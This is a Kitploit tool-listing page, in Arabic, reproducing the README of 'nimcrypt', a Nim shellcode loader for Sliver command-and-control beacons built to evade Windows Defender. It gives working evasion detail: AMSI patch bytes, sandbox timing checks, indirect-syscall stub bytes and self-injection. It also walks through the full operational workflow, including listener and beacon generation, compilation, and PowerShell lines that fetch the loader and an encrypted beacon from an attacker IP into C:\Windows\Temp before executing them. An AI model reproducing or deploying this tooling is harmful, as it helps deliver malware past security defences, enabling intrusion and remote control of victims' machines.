Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
nimcrypt — أداة تشفير مبنية على Nim لإخفاء شيلكود والحمولات لتجاوز Windows Defender. | Kitploit
أدوات/GitHubGitHub/chaelsoo/nimcrypt
أدوات التشفير/فك التشفيرالاستغلالالتهرب من IDS/IPSشيل كوداختبار الاختراقالقيادة والسيطرةالفريق الأحمرتطوير الحمولاتمكافحة الروبوتات
GitHubchaelsoo/nimcrypt

nimcrypt

أداة تشفير مبنية على Nim لإخفاء شيلكود والحمولات لتجاوز Windows Defender.

2121منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

nimcrypt

محمل شيلكود Sliver مكتوب بلغة Nim يستهدف Windows x64. متغيران يغطيان أكثر حالتين تسليم شيوعًا. تم اختباره ضد Windows Defender مع تفعيل الحماية الفورية.

المتغيرات

stager

يقرأ كتلة شيلكود مشفرة من القرص، يفك تشفيرها في الذاكرة، ويحقنها ذاتيًا. استخدم هذا عندما يكون لديك بالفعل إمكانية إسقاط ملف وتريد ملفًا ثنائيًا صغيرًا بسيطًا.

root@kitploit:~
loader.exe <shellcode.bin> [key_hex iv_hex]

المفتاح والمتجه IV اختياريان. إذا تم حذفهما، يتم التعامل مع الملف كشيلكود خام غير مشفر.

stageless

يقوم بتنزيل الكتلة المشفرة من خادم C2 الخاص بك عبر HTTP باستخدام مكدس WinHTTP من Windows، ويفك تشفيرها في الذاكرة، ويحقنها ذاتيًا. لا يمس أي ملف القرص مطلقًا. استخدم هذا عندما يمكنك تنفيذ ملف ثنائي على الهدف ولكن لا يمكنك إسقاط ملف ثانٍ بشكل موثوق.

قم بتحرير الثوابت في أعلى ملف stageless/loader.nim قبل التجميع:

root@kitploit:~
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey  = "..."   # 64 حرفًا سداسيًا عشريًا من encrypt.py
scIV   = "..."   # 32 حرفًا سداسيًا عشريًا من encrypt.py

التقنيات

التهرب من الصندوق الرملي

يستدعي محمل stageless الدالة Sleep(5000) عند بدء التشغيل ويقيس الوقت الفعلي المنقضي باستخدام GetTickCount64. إذا مر أقل من 4500 مللي ثانية، يخرج المسار. معظم بيئات الصندوق الرملي الآلي تعمل على تسريع أو تخطي مراحل النوم، مما يؤدي إلى فشل الفحص. يحدث هذا قبل أي نشاط شبكي أو تنفيذ شيلكود، لذا فإن صناديق الرمل التي تفحص السلوك الشبكي لا ترى شيئًا.

تجاوز AMSI

يقوم ملف amsi.nim بتصحيح AmsiScanBuffer أثناء التشغيل باستخدام طبقتين من التعتيم:

إخفاء السلاسل عبر تجزئة FNV-1a. السلسلة النصية AmsiScanBuffer لا تظهر مطلقًا في الملف الثنائي. بدلاً من ذلك، يتم حساب تجزئة FNV-1a لها في وقت الترجمة وتخزينها كثابت. في وقت التشغيل، يجتاز المحمل جدول تصدير amsi.dll، ويجزئ كل اسم تصدير، ويقارن مع القيمة المخزنة للعثور على عنوان الدالة دون الاحتفاظ بالسلسلة النصية في الذاكرة.

تعتيم XOR في وقت التجميع. كل من اسم DLL (amsi.dll) وبايتات التصحيح (xor eax, eax; ret = 31 C0 C3) يتم تشفيرها باستخدام XOR في وقت التجميع باستخدام مفتاح عشوائي يتم إنشاؤه جديدًا لكل بناء عبر عملية فرعية بلغة Python. يتم تضمين المفتاح كثابت ويتم فك تشفير البايتات في وقت التشغيل قبل الاستخدام مباشرة. تتغير البايتات الخام في كل بناء، مما يكسر التوقيعات الثابتة على تسلسل التصحيح.

يقوم التصحيح باستبدال البايتات الثلاث الأولى من AmsiScanBuffer بـ xor eax, eax; ret، مما يجعل كل استدعاء يعيد AMSI_RESULT_CLEAN بغض النظر عن المدخلات.

تشفير الحمولة

يقوم encrypt.py بتشفير الشيلكود الخام باستخدام AES-256-CBC بمفتاح 32 بايت ومتجه IV 16 بايت يتم إنشاؤهما عشوائيًا. يقوم المحمل بفك التشفير في المكان باستخدام واجهة برمجة تطبيقات BCrypt من Windows، لذلك لا حاجة لأي مكتبة تشفير تابعة لجهة خارجية على الهدف.

الانتقال من ذاكرة RW إلى RX

يتم تخصيص الذاكرة كـ PAGE_READWRITE، ويتم كتابة الشيلكود فيها، ثم يتم تحويل المنطقة إلى PAGE_EXECUTE_READ قبل التنفيذ. التخصيص المباشر كـ PAGE_EXECUTE_READWRITE هو توقيع معروف يكتشفه Defender و EDRs بشكل صريح. فصل مرحلتي الكتابة والتنفيذ يتجنب هذا النمط.

استدعاءات النظام غير المباشرة (Hell's Gate + Halo's Gate)

يقوم stageless/syscalls.nim بتجاوز كل من طبقة Win32 API (kernel32.dll) وأي خطافات ntdll.dll الخاصة بالمستخدم التي تضعها EDRs.

حل رقم خدمة النظام (SSN). عند بدء التشغيل، يحصل المحمل على العنوان الأساسي لـ ntdll ويفحص جدول التصدير PE الخاص به، مجمعًا كل تصدير Nt* مرتبًا حسب RVA. لكل دالة NT نحتاجها، يفحص البايتات الأربعة الأولى:

  • 4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) يعني أن الجذر نظيف ويتم قراءة SSN مباشرة من البايتات 4-5. هذا هو Hell's Gate.
  • أي شيء آخر يعني أن مقدمة الدالة قد تم تصحيحها بواسطة خطاف EDR. في هذه الحالة، يجتاز المحمل الجيران في القائمة المرتبة حتى يعثر على جذر نظيف، ثم يحسب SSN الهدف كـ neighbor_SSN +/- distance. تزداد SSNs بمقدار واحد لكل جذر بترتيب العناوين. هذا هو Halo's Gate.

تحديد المقطع البرمجي (gadget). يفحص المحمل أول جذر Nt* نظيف يجده عن تسلسل البايتات 0F 05 C3 (syscall; ret). يعطي هذا عنوانًا داخل قسم .text المدعوم بالصورة من ntdll يمكننا إعادة استخدامه.

توليد الجذر. لكل دالة مطلوبة، يتم كتابة جذر بطول 22 بايت في صفحة RW واحدة يتم تحويلها إلى RX قبل الاستخدام:

root@kitploit:~
4C 8B D1              mov r10, rcx
B8 xx xx 00 00        mov eax, <SSN>
FF 25 00 00 00 00     jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx  عنوان المقطع البرمجي

يقوم jmp [rip+0] بفك الإشارة إلى البايتات الثمانية التي تليها مباشرة (عنوان المقطع البرمجي) ويعيد توجيه التنفيذ إلى تسلسل syscall; ret الموجود في ntdll. يتم تنفيذ تعليمة syscall من قسم .text في ntdll بدلاً من التخصيص المجهول لدينا، مما يتغلب على أي تتبع على مستوى النواة لأي منطقة ذاكرة أصدرت استدعاء النظام.

الوظائف الأربع التي تغطيها استدعاءات النظام غير المباشرة هي NtAllocateVirtualMemory و NtProtectVirtualMemory و NtCreateThreadEx و NtWaitForSingleObject.

الحقن الذاتي

بعد فك التشفير، يقوم محمل stageless بتخصيص منطقة RW في عمليته الخاصة عبر NtAllocateVirtualMemory، وينسخ الشيلكود باستخدام copyMem، ويحول المنطقة إلى RX عبر NtProtectVirtualMemory، ويطلق خيطًا عبر NtCreateThreadEx. ثم يظل الخيط الرئيسي محظورًا إلى أجل غير مسمى على NtWaitForSingleObject، مما يبقي العملية حية أثناء تشغيل goroutines الخاصة بالمنارة. جميع الاستدعاءات الأربعة تمر عبر جذور استدعاء النظام غير المباشر الموصوفة أعلاه.

الحقن الذاتي يبقي سطح الاستدعاء في حده الأدنى. لا توجد استدعاءات لواجهة برمجة تطبيقات عبر العمليات (WriteProcessMemory، CreateRemoteThread، إلخ.)، وهي نواقل الكشف الأساسية للحقن عن بعد التقليدي.

سير التنفيذ (stageless)

  1. فحص التوقيت: النوم لمدة 5 ثوانٍ، الخروج إذا مضى أقل من 4.5 ثانية
  2. تصحيح AMSI: حل AmsiScanBuffer عبر FNV-1a، استبدال بـ xor eax, eax; ret
  3. حل جذور استدعاء النظام غير المباشرة: تحليل تصديرات ntdll، العثور على SSNs (Hell's Gate + Halo's Gate)، تحديد موقع المقطع البرمجي syscall; ret، كتابة الجذور
  4. التنزيل: طلب HTTP GET باستخدام WinHTTP، قراءة نص الاستجابة
  5. فك التشفير: AES-256-CBC عبر BCrypt في المكان
  6. التخصيص: NtAllocateVirtualMemory في العملية الخاصة (RW) عبر استدعاء نظام غير مباشر
  7. نسخ الشيلكود في التخصيص
  8. الحماية: NtProtectVirtualMemory إلى PAGE_EXECUTE_READ عبر استدعاء نظام غير مباشر
  9. التنفيذ: NtCreateThreadEx عبر استدعاء نظام غير مباشر
  10. الانتظار: NtWaitForSingleObject على مقبض الخيط عبر استدعاء نظام غير مباشر

سير التنفيذ (stager)

  1. تصحيح AMSI
  2. قراءة ملف الشيلكود من القرص
  3. فك التشفير إذا تم توفير المفتاح والمتجه IV
  4. VirtualAlloc (RW)، نسخ الشيلكود، VirtualProtect إلى RX
  5. التنفيذ عبر تحويل مؤشر الدالة

المتطلبات

على جهاز البناء Linux الخاص بك:

  • Nim + nimble (nimble install winim)
  • mingw-w64 (x86_64-w64-mingw32-gcc)
  • Python 3 + pycryptodome (pip install pycryptodome)

سير العمل الكامل

1. بدء مستمع Sliver

root@kitploit:~
[server] sliver > mtls --lhost 10.10.14.42 --lport 443

2. توليد شيلكود المنارة

root@kitploit:~
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon

3. التشفير

root@kitploit:~
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv:  83b82994e8c512d536f7d42e89d6e761

4. تعيين الثوابت والتجميع

قم بتحرير ملف stageless/loader.nim واضبط c2Host و c2Port و c2Path و scKey و scIV، ثم من جذر المشروع:

root@kitploit:~
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim

# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim

قم دائمًا بالتجميع من جذر المشروع بحيث يتم تحميل ملف nim.cfg الجذر فقط. الناتج هو PE ثابت ثنائي لـ Windows x64 بدون تبعيات DLL خارجية تتجاوز مكتبات النظام القياسية.

5. الخدمة أو النقل

Stageless: قم بتقديم الكتلة المشفرة عبر HTTP على المنفذ المطابق لـ c2Port:

root@kitploit:~
cd bins && python3 -m http.server 443

Stager: انقل كلا الملفين إلى الهدف:

root@kitploit:~
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")

6. التنفيذ

Stageless:

root@kitploit:~
loader.exe

Stager مع التشفير:

root@kitploit:~
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761

Stager بدون تشفير:

root@kitploit:~
loader.exe shellcode.bin

التسليم عبر PowerShell

إذا تم التسليم عبر مهد تنزيل PowerShell، فسيقوم AMSI بفحص البرنامج النصي قبل تشغيل المحمل. قم بتصحيح AMSI في جلسة PS الخاصة بك أولاً:

root@kitploit:~
python3 gen_amsi.py

الصق المخرجات في جلسة PS قبل تنزيل أو تنفيذ أي شيء. يقوم البرنامج النصي بحل AmsiScanBuffer بواسطة تجزئة جدول التصدير بحيث لا تظهر السلسلة النصية مطلقًا بنص واضح، ويتم تشفير جميع بايتات التصحيح باستخدام XOR بمفتاح عشوائي لكل تشغيل.

ملاحظات

  • يتطلب Windows 10 / Server 2016+ (Universal CRT)
  • BCryptSetProperty لوضع التشفير يعيد STATUS_INVALID_PARAMETER ولكن BCrypt يضع CBC افتراضيًا على أي حال، فك التشفير يعمل بشكل صحيح
  • استدعاءات النظام غير المباشرة تغطي فقط وظائف NT الأربعة الحاسمة للحقن. لا تزال استدعاءات Winsock و BCrypt تمر عبر مسارات واجهة برمجة التطبيقات العادية الخاصة بها، وهو مقبول لأن هذه الاستدعاءات حميدة سلوكيًا بشكل منفرد
  • يتم تنفيذ تعليمة syscall في الجذور من داخل قسم .text لـ ntdll (مدعوم بالصورة، موقع من Microsoft)، وليس من صفحة الجذر، مما يتغلب على تتبع أصل استدعاء النظام على مستوى النواة

المراجع

  • https://github.com/gatariee/ldrgen
  • https://github.com/D3Ext/Hooka

يمكنك العثور على مزيد من التفاصيل حول آليات Defender والتقنيات والأدوات الأخرى على مدونتي

تنزيل الأداة